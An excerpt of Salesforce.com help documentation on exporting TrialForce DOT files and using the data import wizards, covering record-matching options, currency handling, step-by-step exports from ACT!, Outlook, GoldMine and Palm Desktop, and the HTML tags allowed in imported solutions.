1. Go to Setup ➤ Administration Setup ➤ Data Management ➤ Export to DOT File.


2. Select the information to include in your DOT:

• All—include all data and metadata


• All Except Documents and Attachments—include everything except items in the Documents tab and on the
Attachments related list on any object
• Setup Only—include just the metadata, which contains configuration information such as objects and fields, but not
records

3. Optionally, select the Include debugging info checkbox if you want to track what happens as the DOT is created.
This is especially useful if the DOT creation process fails, as you'll have a log of what happened.
4. Optionally, select the Don't rebase dates checkbox if you want the values in date records to remain the same every
time an organization is signed up from your DOT.
5. Select how you want the DOT export to output. You can choose the following options:

• Documents Tab—Saves the DOT export as a file under the Documents tab.
• Appserver's Local Filesystem—Saves the DOT export to the local Unix filesystem of the appserver that did
the export.
• TrialForce Upload—Depending on the size of your TrialForce DOT, you either see a message with your TrialForce
DOT ID or see a screen saying that you will receive an email when it has been created. If your TrialForce DOT creation
doesn't complete within a minute or so, you will receive an email when it has finished. Once you receive the "ready for
use" confirmation email, your TrialForce DOT is ready.
Send the TrialForce DOT ID to your salesforce.com representative to get your trial set up.
If your TrialForce DOT creation fails, you will receive an email notification.

For more information about TrialForce, contact your salesforce.com representative.

See Also:
Viewing Your Exported TrialForce DOTs

617
Data Management Importing Overview

Viewing Your Exported TrialForce DOTs


Available in: All Editions

User Permissions Needed


To configure and export a TrialForce DOT: “Modify All Data”
To view the list of exported DOTs: “View Setup and Configuration”

TrialForce helps you create customized trials by configuring which data and metadata you want to include in your DOT.
TrialForce signs up organizations on the correct instance based on geography and automatically upgrades the TrialForce DOTs
at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance.
To view a list of your exported TrialForce DOTs, go to Setup ➤ Administration Setup ➤ Data Management ➤ TrialForce
DOT Exports.
On this page you can see a list of all the TrialForce DOTs you've exported using TrialForce Upload. Click a column
heading to sort the list in ascending order. Click the heading a second time to sort in descending order.
For more information about TrialForce, contact your salesforce.com representative.

Importing Overview
Available in: All Editions
Organization import not available in: Personal Edition
Custom object import not available in: Personal Edition
Lead import not available in: Personal and Contact Manager Editions
Solution import not available in: Personal, Contact Manager, and Group Editions
Person account import not available in: Personal, Contact Manager, Group, and Professional Editions

You can import data from ACT!, Outlook, and any program that can save data in the CSV (comma-separated values) format,
such as Excel or GoldMine.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

The following table summarizes the kinds of records that can be imported.

618
Data Management Importing Overview

Which records can be imported?


Type of record Import record limit Users with access Overview topic
Business accounts and contacts 500 at a time All users What Is Imported for
owned by you Business Accounts and
Contacts?
Business accounts and contacts 50,000 at a time Administrators; What Is Imported for
owned by different users Business Accounts and
Users with the “Modify All
Contacts?
Data” permission

Person accounts owned by you 50,000 at a time All users What Is Imported for Person
Accounts?
Person accounts owned by 50,000 at a time Administrators; What Is Imported for Person
different users Accounts?
Users with the “Import Person
Accounts” permission

Leads 50,000 at a time Administrators; What is Imported for Leads?


Users with the “Modify All
Data” permission

Campaign members 50,000 for importing leads as Administrators; What is Imported for
new campaign members and Campaign Members?
Marketing users (or users with
updating the status of existing
the “Import Leads” permission
campaign members.
and the “Edit” permission on
campaigns) can import new
leads as campaign members.
Users also need the “Read”
permission on contacts to use
the campaign update wizard
to make existing leads and
contacts campaign members.

Custom objects 50,000 at a time Administrators; What Is Imported for Custom


Objects?
Users with the “Modify All
Data” permission

Solutions 50,000 at a time Administrators; What Is Imported for


Solutions?
Users with the “Import
Solutions” permission

These records cannot be imported via the import wizards.


Assets
Cases
Campaigns
Contracts

619
Data Management Importing Overview

Which records can be imported?


Type of record Import record limit Users with access Overview topic
Documents
Opportunities
Products

For information on field accessibility and how different field type values are imported, see Notes on Importing Data on page
627.

Process for Importing Records


To import records into Salesforce.com, follow the steps in these topics:
1. Creating Export Files for Import Wizards
2. Preparing Your Data for Import
3. Accessing the Import Wizards
Note: In addition to the record limits on each import, your import is also subject to the overall storage limits for your
organization. For storage limits, see Monitoring Resources on page 595.
Although they are custom objects, relationship group members cannot be imported. For more information on the
behaviors of relationship group members, see Relationship Group Considerations on page 1867.

See Also:
Importing Multiple Currencies
Undoing an Import
Importing Campaign Members
Importing Articles
FAQ: Importing
Tip sheet: Importing Your Data
Administrator tip sheet: Importing Your Organization's Data

What Is Imported for Business Accounts and Contacts?

Available in: All Editions


Organization import not available in: Personal Edition

The import wizards for contacts and business accounts allow you to match records in a variety of ways in order to prevent
duplicates. Contacts can be matched by Salesforce.com ID, name, or email. Business accounts can be matched by Salesforce.com
ID or by name and site. Matching by Salesforce.com ID is inclusive of both contacts and business accounts; if you match one
by Salesforce.com ID, the other will also be matched by Salesforce.com ID.

620
Data Management Importing Overview

Matching by Name and Site


If you choose to match contacts by name and business accounts by name and site (which are the recommended options), the
import wizards automatically create a business account for each unique business account name and site in the import file. They
also create a separate contact for each contact name listed in the file. The contacts are then associated with the appropriate
business accounts.
If the business account or contact already exists in the system, and you have read/write access to the record, the wizards add
your import data to the existing data in Salesforce.com. In addition, if a business account or contact name in your import file
is similar to an existing business account or contact name, the import data is added to the existing data in Salesforce.com (see
Can the contact and business account import wizards recognize similar names? on page 2583).

Matching by Salesforce.com ID
You can also choose to match contacts and business accounts by Salesforce.com ID. With this selected, the Salesforce.com
ID will be the criteria for de-duplication. That is, if you are matching by ID and a record in your source file has the same ID
as a record in Salesforce.com, then that record will be updated in Salesforce.com. Note that record IDs are case-sensitive and
must match exactly.

Overwriting Existing Account Values


The wizards never overwrite your existing business account fields unless you check the Overwrite existing account
values checkbox in the wizard. With this box checked, you can insert or update existing business account fields with new
data. However, you cannot use this checkbox to update existing field data with blank values. With this box unchecked, the
wizard updates any empty business account fields, but does not touch any fields with existing data.
If you do not have read/write access to an existing business account or contact, the wizards create a new business account or
contact owned by you. In addition, the wizards create new business accounts and contacts based on specific fields in your
import file. See When do the import wizards create new contacts and business accounts? on page 2582.
In Professional, Enterprise, Unlimited, and Developer Edition organizations, the import wizards can also import new business
account and contact notes. The wizards do not import notes that are exact duplicates of existing contact or business account
notes.

See Also:
Accounts Overview
Import My Organization’s Accounts and Contacts
FAQ: Importing

What Is Imported for Person Accounts?


Person account import available in: Enterprise, Unlimited, and Developer Editions

The import wizards for person accounts allow you to prevent the creation of duplicate records by matching records according
to one of the following fields: Account Name, Salesforce.com ID, or Email. In your import file, include a column for
the field that you are using for record matching.
Note: Your administrator may have renamed “person account” to another term. If so, the import wizard will refer to
the new name.

621
Data Management Importing Overview

Matching by Name
When you select this option, the import wizard will detect existing records in Salesforce.com that have the same name. Note
that this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the
same name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing
the import to prevent unintended matches.

Matching by Salesforce.com ID
A Salesforce.com ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce.com record. When you select this option, the import wizard will detect existing records in Salesforce.com that have
the same Salesforce.com ID. Note that Salesforce.com IDs are case-sensitive and must match exactly. Salesforce.com IDs can
be obtained by running reports that include the ID field of the record.

Matching by Email
With this option, person accounts in your import file will be matched with existing person accounts in Salesforce.com according
to the exact value in the Email field.

Matching by External ID
An external ID is a custom field that has the “External ID” attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce.com. When you select this option, the import wizard will detect existing records in Salesforce.com
that have the same external ID. Note that this operation is not case-sensitive - for example, “ABC” will be matched with “abc”.
However, there is an exception: if the custom field has the separate “Unique” attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 817.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.
Note: Only account custom fields with the “External ID” attribute are available for this step. While all custom contact
fields are available on person account page layouts, custom contact fields with the “External ID” attribute are not
available as matching fields during person account import.

Ignoring or Updating Matching Records


When the import wizard detects existing records in Salesforce.com that match according to the field you have chosen, you
can choose one of the following actions:
• Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce.com. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
• Update existing records and do not insert any new records - If there are records in your file that match an existing record,
then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.

622
Data Management Importing Overview

• Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce.com. Also, if there are records in your file that match an existing record,
then update the existing record.

See Also:
Import My Person Accounts
Import My Organization's Person Accounts
FAQ: Importing

What is Imported for Leads?


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

You can import data into the standard lead fields and into any custom lead fields you may have, even if a particular field is
hidden or read only in your page layout or field-level security settings for leads. (Field-level security is available in Enterprise,
Unlimited, and Developer Editions only.)

Importing Leads With Matching Types


You can choose whether to match leads in your import file with existing leads in Salesforce.com. Leads can be matched
according to the following types: Salesforce.com ID, name, or email. Choosing a matching type sets the criteria for avoiding
duplicate leads. For example, if you are matching by email and a lead in your source file has the same email as a lead in
Salesforce.com, then that lead will be updated in Salesforce.com. If you are not matching by email and a lead in your source
file has the same email as a lead in Salesforce.com, then a new lead will be created.
The wizards never overwrite your existing lead fields unless you check the Overwrite existing lead values checkbox
in the wizard. With this box checked, you can insert or update existing lead fields with new data. However, you cannot use
this checkbox to update existing field data with blank values. With this box unchecked, the wizard updates any empty lead
fields, but does not touch any fields with existing data.

Importing Leads Without Matching Types


If you choose a matching type of “None” in the lead import wizard, for each lead in your import file, the Import My
Organization’s Leads wizard creates a new lead in Salesforce.com. You can merge leads after they are imported; see Merging
Duplicate Leads on page 2071.

See Also:
Import My Organization’s Leads
FAQ: Importing

623
Data Management Importing Overview

What is Imported for Campaign Members?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

• Import Leads Wizard - For each lead in your import file, this wizard imports the lead, associates the lead with a campaign,
and inserts a Member Status value for the lead in that campaign. You can import data into the standard lead fields and
into any custom lead fields, even if a particular field is hidden or read only in your page layout or field-level security settings.
(Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) If you have duplicate leads in your
import file, the wizard does not merge them. In addition, if any of the imported leads match an existing lead, the wizard
does not merge the duplicate data into one lead.
• Campaign Update Wizard - For each contact or lead in your import file, this wizard updates only the Member Status
value of the matching contact or lead in Salesforce.com. You cannot add new leads or contacts, nor can you update any
other fields in the existing lead or contact records.

See Also:
Lead Import Wizard
Campaign Update Wizard
FAQ: Importing

What Is Imported for Custom Objects?


Custom object import available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import custom objects: “Modify All Data”

The import wizard for custom objects allows you to prevent the creation of duplicate records by matching records according
to one of the following fields: custom object name, Salesforce.com ID, or external ID. In your import file, include a column
for the field that you are using for record matching.

Matching by Name
When you select this option, the import wizard will detect existing records in Salesforce.com that have the same name. Note
that this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the
same name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing
the import to prevent unintended matches.

Matching by Salesforce.com ID
A Salesforce.com ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce.com record. When you select this option, the import wizard will detect existing records in Salesforce.com that have

624
Data Management Importing Overview

the same Salesforce.com ID. Note that Salesforce.com IDs are case-sensitive and must match exactly. Salesforce.com IDs can
be obtained by running reports that include the ID field of the record.

Matching by External ID
An external ID is a custom field that has the “External ID” attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce.com. When you select this option, the import wizard will detect existing records in Salesforce.com
that have the same external ID. Note that this operation is not case-sensitive - for example, “ABC” will be matched with “abc”.
However, there is an exception: if the custom field has the separate “Unique” attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 817.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.

Ignoring or Updating Matching Records


When the import wizard detects existing records in Salesforce.com that match according to the field you have chosen, you
can choose one of the following actions:
• Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce.com. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
• Update existing records and do not insert any new records - If there are records in your file that match an existing record,
then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.
• Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce.com. Also, if there are records in your file that match an existing record,
then update the existing record.
Note: Custom objects with two master-detail relationships cannot be imported using the import wizard.

See Also:
Import My Organization's Custom Objects
FAQ: Importing

625
Data Management Importing Overview

What Is Imported for Solutions?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import solutions: “Import Solutions”

The import wizard for solutions allows you to prevent the creation of duplicate records by matching records according to one
of the following fields: solution title, Salesforce.com ID, or external ID. In your import file, include a column for the field
that you are using for record matching.

Matching by Solution Title


When you select this option, the import wizard will detect existing solutions in Salesforce.com that have the same title. Note
that this type of matching is not case-sensitive - for example, titles that begin with a capital letter will be matched with the
same title that begins with a lowercase letter. If necessary, scan and standardize your solution titles before performing the
import to prevent unintended matches.

Matching by Salesforce.com ID
A Salesforce.com ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce.com record. When you select this option, the import wizard will detect existing records in Salesforce.com that have
the same Salesforce.com ID. Note that Salesforce.com IDs are case-sensitive and must match exactly. Salesforce.com IDs can
be obtained by running reports that include the ID field of the record.

Matching by External ID
An external ID is a custom field that has the “External ID” attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce.com. When you select this option, the import wizard will detect existing records in Salesforce.com
that have the same external ID. Note that this operation is not case-sensitive - for example, “ABC” will be matched with “abc”.
However, there is an exception: if the custom field has the separate “Unique” attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 817.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.

Ignoring or Updating Matching Records


When the import wizard detects existing records in Salesforce.com that match according to the field you have chosen, you
can choose one of the following actions:
• Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce.com. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
• Update existing records and do not insert any new records - If there are records in your file that match an existing record,
then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.

626
Data Management Importing Overview

• Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce.com. Also, if there are records in your file that match an existing record,
then update the existing record.

See Also:
What are Multilingual Solutions?
Import My Organization's Solutions
FAQ: Importing

Notes on Importing Data


Available in: All Editions
Organization import not available in: Personal Edition
Lead import not available in: Personal and Contact Manager Editions
Custom object import not available in: Personal Edition
Solution import not available in: Personal, Contact Manager, and Group Editions

• Field Accessibility—In the organization-wide import wizards for accounts and leads, you can import data into any standard
or custom field even if it is hidden or read only in your page layout or field-level security settings.
For the Import My Contacts wizard, you can import data only into the fields that are editable for you in your page layout
or field-level security settings.
See Managing Page Layouts on page 1012 and Setting Field-Level Security on page 540. Field-level security is available in
Enterprise, Unlimited, and Developer Editions only.
• New Values for Picklists and Multi-Select Picklists—If your import file contains data to be displayed in picklists or
multi-select picklists, the wizards warn you when you attempt to import a new picklist value that does not match any valid
picklist values. If you ignore the warning, the new value is automatically added to the imported record. Your administrator
can later edit the field to add the necessary values. Note that the import wizards do not allow you to import more than 100
new picklist or multi-select picklist values for any field during a single import.
If your organization uses the Translation Workbench, the import wizards look for matching translated values before creating
new inactive picklist values. See Setting Up the Translation Workbench on page 437 for more information.
• Multi-Select Picklists—To import multiple values into a multi-select picklist, separate the values by a semicolon in your
import file.
You can import up to 100 values at a time in a multi-select picklist field. If you have more than 100 values in your import
file for any one record, the import wizard leaves the field blank in that record.
• Checkboxes—To import data into a checkbox field, use 1 for checked values and 0 for unchecked values.
• Default Values—For picklist, multi-select picklist, and checkbox fields, if you do not map the field in the import wizard,
the default value for the field, if any, is automatically inserted into the new or updated record.
• Date/Time Fields—Ensure that the format of any date/time fields you are importing matches how they display in
Salesforce.com per your locale setting. For information on setting your locale, see Editing Your Personal Information on
page 24.

627
Data Management Importing Multiple Currencies

• Formula Fields—Formula fields cannot accept imported data because they are read only.
• Field Validation Rules—Salesforce.com runs validation rules on records before they are imported. Records that fail
validation are not imported. Consider deactivating the appropriate validation rules before running an import if they affect
the records you are importing.
• Universally Required Fields—You must include universally required fields in your import files or the import will fail. For
more information, see About Universally Required Fields on page 925.

Importing Multiple Currencies


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

If your organization has set up the ability to use multiple currencies, you can import amounts in different currencies.

Import My Accounts and Contacts


For personal imports, all amounts in new accounts and contacts are imported in your personal currency. When import updates
amounts in existing records, the amounts in your file are converted from your personal currency to the currency of the account
or contact.
For example, if your personal currency is U.S. dollars, and your import file has 100 as the annual revenue of an existing account
with Account Currency of euros, then the new Annual Revenue value of the account will be EUR 92, assuming a
conversion rate of 0.92 and “EUR” as the currency code for euros.

Organization Import
When importing accounts, contacts, custom objects, leads, or solutions for your organization, you can specify the currency
type for amount fields using the Currency ISO Code column in your import file. The following rules apply:
• Entering currency codes - Enter a currency code in the Currency ISO Code column in your import file. Currency
codes are three letter codes that follow an international standard. For example, USD is the currency code for U.S. dollars.
Click Setup ➤ Company Profile ➤ Manage Currencies to see a list of valid codes for your organization.
• Using one currency for accounts and contacts - If you are importing accounts and contacts, the Currency ISO Code
column applies to both an account and its associated contact. You cannot specify different currencies for associated accounts
and contacts.
• Updating the currency code - When updating the currency code but not the currency amount for existing accounts and
contacts, the existing amount is not converted to the corresponding number in the new currency.
• Entering inactive currencies - If your enter an inactive currency in your import file, your personal currency will be used
instead. However, amounts will not be modified. For example, if your file has AUD 100 for 100 Australian dollars but
AUD is an inactive currency for your organization, then it is imported as USD 100, assuming your personal currency is
U.S. dollars.
• Omitting the Currency ISO Code column - When creating new records via importing, if you do not use the Currency
ISO Code column or fail to map it, your personal currency is used. For example, if your file has 100 and your personal
currency is U.S. dollars (currency code = USD), this is imported as USD 100.

628
Data Management Creating Export Files for Import Wizards

When updating existing records via importing, if you do not use the Currency ISO Code column or fail to map it, any
amounts are interpreted as having the existing currency of the record. For example, if your file has 100 for a record that
has a currency of EUR (the currency code for euros), this amount is interpreted as EUR 100.

See Also:
Managing Multiple Currencies

Creating Export Files for Import Wizards


Available in: All Editions

To import data into Salesforce.com, you first need to export the data from your existing application. This creates an export
file of the information you want to import.

• Exporting from ACT!


• Exporting from Outlook
• Exporting from GoldMine 4.0
• Exporting from GoldMine 5.0
• Exporting from Palm Desktop
• Exporting from Other Data Sources
• Exporting from Salesforce.com

After creating the export file, compare your data with the Salesforce.com fields available for import, and verify that your data
will be mapped into the appropriate Salesforce.com fields. See Preparing Your Data for Import on page 634.
Your file can contain a mixture of some new records as well as updates for existing records. The option selected in the Matching
Type field determines whether it is a new or existing record. When importing leads, you can choose whether to match leads
in your import file with existing leads in Salesforce.com. Leads can be matched according to the following types: Salesforce.com
ID, name, or email. Choosing a matching type sets the criteria for avoiding duplicate leads. For example, if you are matching
by email and a lead in your source file has the same email as a lead in Salesforce.com, then that lead will be updated in
Salesforce.com. If you are not matching by email and a lead in your source file has the same email as a lead in Salesforce.com,
then a new lead will be created.
Note:
If you are the administrator and are importing for multiple users, you must combine your export data into a single
CSV file using Excel.
When importing new records, add or modify a Record Owner field in your file such that the field contains the names
of existing, active users. Enter the users’ full usernames (for example, “jsmith@acme.com”) or first and last names (for
example, “Joe Smith”, or “Smith Joe” for Asian locales). This will specify the owner of the imported data for an
organization import. For lead imports, you can also specify the name of a lead queue. Record owner fields do not get
updated when records are updated via import. All records retain their existing owners; and the Record Owner field
in your import file is ignored for these records.

629
Data Management Creating Export Files for Import Wizards

When importing leads, you can alternatively use a lead assignment rule to specify the owners of the imported data,
instead of using a Record Owner field.

See Also:
Preparing Your Data for Import

Exporting from ACT!


ACT! allows you to export contact data in a text-delimited format which can then be imported. To export contact data from
ACT! (versions 4.0 or 2000):

1. Launch ACT! and open your database.


2. Select File ➤ Data Exchange ➤ Export....
3. Select the file type Text-Delimited.
4. Choose a file name and location for the exported data and click Next.
5. Select Contact records only.
6. Click the Options... button.
7. Select Comma for the field separator character.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

8. Select Yes, export field names and click OK.


9. Click Next.
10. Select All Records and then click Next.
11. Leave the export field order list alone, and click Finish.

See Also:
Default Field Mapping for ACT!

Exporting from Outlook


Microsoft® Outlook® allows you to export data in a CSV (comma-separated values) format which can then be imported.

1. Launch Outlook.
2. Select File ➤ Import and Export....
3. Choose Export to a file and click Next.
4. Choose Comma Separated Values (Windows) and click Next.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

630
Data Management Creating Export Files for Import Wizards

5. Select the Contacts folder and click Next. You can select a different contacts folder if you have contacts stored in multiple
folders.
6. Choose a file name for the exported data and click Next.
7. Click Finish.

See Also:
Default Field Mapping for Outlook

Exporting from GoldMine 4.0


GoldMine 4.0 allows you to export contact data in a text format that can be imported. Additionally, you can export GoldMine
4.0 notes for import into Professional, Enterprise, Unlimited, and Developer Edition organizations.

• Exporting Contacts from GoldMine 4.0


• Exporting Notes from GoldMine 4.0

Exporting Contacts from GoldMine 4.0


To export contact data from GoldMine 4.0, follow these steps:
1. Launch GoldMine 4.0.
2. Choose Export Records from the Tools menu.
3. Select Export to a new file and DBF file, and click Next.
4. In the list of GoldMine Fields on the left side of the dialog, select all of the fields, and click Add Field. Then click Next.
5. Choose the location for the export file, and click Next.
6. Select No when asked if you want to save these settings, and click Next.
7. Click Finish.
8. After the export finishes, locate the exported file and change its file extension from .dbf to .csv. The file is now ready for
import into Salesforce.com.

Exporting Notes from GoldMine 4.0


Before importing your GoldMine 4.0 notes into Salesforce.com, you must import your GoldMine 4.0 contacts.
To export notes from GoldMine 4.0, follow these steps:
1. Launch GoldMine 4.0.
2. Choose Export Records from the Tools menu.
3. Select Export to a new file and ASCII file, and click Next.
4. In the list of GoldMine Fields on the left side of the dialog, select the company, lastname, and notes fields, and click
Add Field. Then click Next.
5. Choose the location for the export file, and click Next.
6. Select No when asked if you want to save these settings, and click Next.
7. Click Finish.
8. After the export finishes, locate the exported file and change its file extension to .csv.
9. Open the file.
10. Add a header column by right-clicking on the first row and choosing Insert.
11. In column A, enter Company.

631
Data Management Creating Export Files for Import Wizards

12. In column B, enter Last Name.


13. In column C, enter Note.
14. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between
columns (this occurs when notes contain quotation marks).

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from GoldMine 5.0


GoldMine 5.0 allows you to export contact data in a text format that can be imported. Additionally, you can export GoldMine
5.0 notes for import into Professional, Enterprise, Unlimited, and Developer Edition organizations.

• Exporting Contacts from GoldMine 5.0


• Exporting Notes from GoldMine 5.0

Exporting Contacts from GoldMine 5.0


To export contact data from GoldMine 5.0, follow these steps:
1. Launch GoldMine 5.0.
2. Choose Tools ➤ Import/Export Wizard ➤ Export Contact Records.
3. Select Export to a new file and ASCII file, and click Next.
4. Select ALL Contact Records! in the drop-down list, and click Next.
5. In the list of GoldMine Fields on the left side of the dialog, select the fields you want to export, and click Add Field. We
recommend you select all fields, except the notes field. See Exporting Notes from GoldMine 5.0 on page 632 for information
on how to export notes.
6. Click Next.
7. Choose the location for the export file, select the Export GoldMine field names... checkbox, and then click Next.
8. Select No when asked if you want to save these settings, and click Next.
9. Click Finish.
10. After the export finishes, locate the exported file and change its file extension from .txt to .csv. The file is now ready for
import into Salesforce.com.

Exporting Notes from GoldMine 5.0


Before importing your GoldMine 5.0 notes into Salesforce.com, you must import your GoldMine 5.0 contacts.
To export notes from GoldMine 5.0, follow these steps:
1. Launch GoldMine 5.0.
2. Choose Tools ➤ Import/Export Wizard ➤ Export Contact Records.
3. Select Export to a new file and ASCII file, and click Next.
4. Select ALL Contact Records! in the drop-down list, and click Next.
5. In the list of GoldMine Fields on the left side of the dialog, select the company, lastname, and notes fields, and click
Add Field. Then click Next.
6. Choose the location for the export file, select the Export GoldMine field names... checkbox, and then click Next.
7. Select No when asked if you want to save these settings, and click Next.
8. Click Finish.

632
Data Management Creating Export Files for Import Wizards

9. After the export finishes, locate the exported file and change its file extension from .txt to .csv.
10. Open the file.
11. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between
columns (this occurs when notes contain quotation marks).

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Palm Desktop


The Palm Desktop allows you to export your Address Book contacts in a CSV (comma-separated values) format which can
then be imported.

1. Open the Address Book in the Palm Desktop. If you only want to export specific contacts, select those records.
2. Choose Export from the File menu.
3. In the “Export To File” dialog, enter a name for the file and choose a folder for it. In the Export as drop-down list, choose
“Comma Separated (*.csv;*.txt)”. Select the range of records to export - either All or Currently selected records.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

4. Click Export.
5. In the “Specify Export Fields” dialog box, select the Address Book fields you want to export, and click OK.

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Other Data Sources


You can import data into the system from any other application that can create a CSV (comma-separated values) file.

1. Save your data source as a CSV file.


Note: If commas are not appropriate for your locale, use a tab or other delimiter.

2. Ensure your file includes only one name per field. The system cannot accept more than one name per field.
3. Ensure your file separates names and titles into two fields. The system cannot accept fields containing both names and
titles.
4. Ensure your file includes only one phone number per field.

See Also:
Field Mapping for Other Data Sources and Organization Import

633
Data Management Preparing Your Data for Import

Exporting from Salesforce.com


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can export account, contact, custom object, lead, or solution reports from Salesforce.com to create an import file for the
import wizards. You must include the Account ID, Contact ID, Custom Object ID, Lead ID, or Solution ID value
for each respective record in your report. These ID fields are unique Salesforce.com identifiers and are used to accurately match
your data with existing Salesforce.com records.
To create an import file with these ID fields, you first need to export the data from Salesforce.com.

1. Run an account, contact, custom object, lead, or solution report in Salesforce.com, include the respective ID field, and
export it to Excel.
2. If you are exporting both leads and contacts to be targeted in a campaign:
a. In Excel, combine the exported reports into one CSV (comma-separated values) file. Make sure all of the ID field
values are in the same column.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

b. Rename the Lead ID/Contact ID column to Record Id.


c. Add a column entitled Status, and enter the campaign member status for each contact or lead.

Note: Remember that Salesforce.com record IDs are case-sensitive and should never be changed manually in your
import file.

See Also:
Importing Campaign Members
Managing Campaigns

Preparing Your Data for Import


Available in: All Editions

After exporting your data from Salesforce.com or your existing application (see Creating Export Files for Import Wizards on
page 629), prepare your data before importing it.
Preparing Contacts
When importing from ACT! or Outlook, the Import My Contacts wizard automatically maps fields from ACT! and
Outlook to Salesforce.com. See Default Field Mapping for ACT! on page 637 and Default Field Mapping for Outlook
on page 639.

634
Data Management Preparing Your Data for Import

When importing from other data sources, you must use Excel® to label the columns in your import file as specified in
Field Mapping for Other Data Sources and Organization Import on page 641.

Preparing Person Accounts


When importing person accounts, use the field labels in Salesforce.com as the column labels in your import file. See
Person Account Fields on page 70.

Preparing Organization's Business Accounts and Contacts


When importing business accounts and contacts for your organization, you must use Excel® to label the columns in your
import file as specified in Field Mapping for Other Data Sources and Organization Import on page 641.

Preparing Organization's Leads


When importing general leads or leads for campaigns, use the import file labels specified in Field Mapping for Importing
Leads on page 646.

Preparing Custom Objects


When importing a custom object, use the field labels shown on the custom object detail page in Salesforce.com as the
column labels in your import file.

Preparing Solutions
When importing solutions, use the field labels in Salesforce.com as the column labels in your import file. For information
on field labels, see Solution Fields on page 2336.
You can enter HTML into the solutions you plan to import into Salesforce.com.However, unless your organization has
enabled HTML solutions, HTML tags will display in the solutions after they are imported. For more information, see
What are HTML Solutions? on page 2319.
For security purposes, Salesforce.com automatically filters all HTML solutions for potentially malicious HTML. If
potentially malicious HTML is detected in an HTML solution, then the potentially malicious HTML is either
automatically removed or transformed into text for users who view the HTML solution. Note that users will not be able
to notice when potentially malicious HTML is removed from an HTML solution.
You can import solutions written in HTML format into Salesforce.com. However, for security purposes, only the HTML
tags listed below are allowed. The content of any HTML tags not listed below is automatically removed when saved in
HTML solutions. Furthermore, the content of all <script> and <iframe> tags, as well as all JavaScript, is automatically
removed when saved in HTML solutions. Additionally, Cascading Style Sheets (CSS) are not supported in HTML
solutions.
The following HTML tags are allowed in HTML solutions imported into Salesforce.com:

<a> <dt> <q>

<abbr> <em> <samp>

<acronym> <font> <small>

<address> <h1> <span>

<b> <h2> <strike>

<bdo> <h3> <strong>

<big> <h4> <sub>

635
Data Management Preparing Your Data for Import

<blockquote> <h5> <sup>

<br> <h6> <table>

<caption> <hr> <tbody>

<cite> <i> <td>

<code> <img> <tfoot>

<col> <ins> <th>

<colgroup> <kbd> <thead>

<dd> <li> <tr>

<del> <ol> <tt>

<dfn> <p> <ul>

<div> <pre> <var>

<dl>

Within the above tags, you can include the following attributes:

alt face size

background height src

border href style

colspan rowspan width

The above attributes which can include a URL are limited to URLs that begin with the following:

• http:
• https:
• file:
• ftp:
• mailto:
• / for relative links

636
Data Management Preparing Your Data for Import

Note: If your data has information in fields that do not match any of the standard fields, your administrator can create
custom fields for that data prior to import.
You must include universally required fields in your import files or the import will fail. For more information, see
About Universally Required Fields on page 925.

See Also:
Creating Export Files for Import Wizards
Accessing the Import Wizards

Default Field Mapping for ACT!


Available in: All Editions

This table details how ACT! fields map to Salesforce.com account and contact import fields during an individual data import.
Note: If an ACT! record contains more than one contact for the same company, the import wizard creates multiple
contacts for one account.

ACT! Field Import Field


Address 1 Contact: Mailing Address and
Account: Billing Address

Address 2 Contact: Mailing Address and


Account: Billing Address

Address 3 Contact: Mailing Address and


Account: Billing Address

Alt Phone Contact: Other Phone


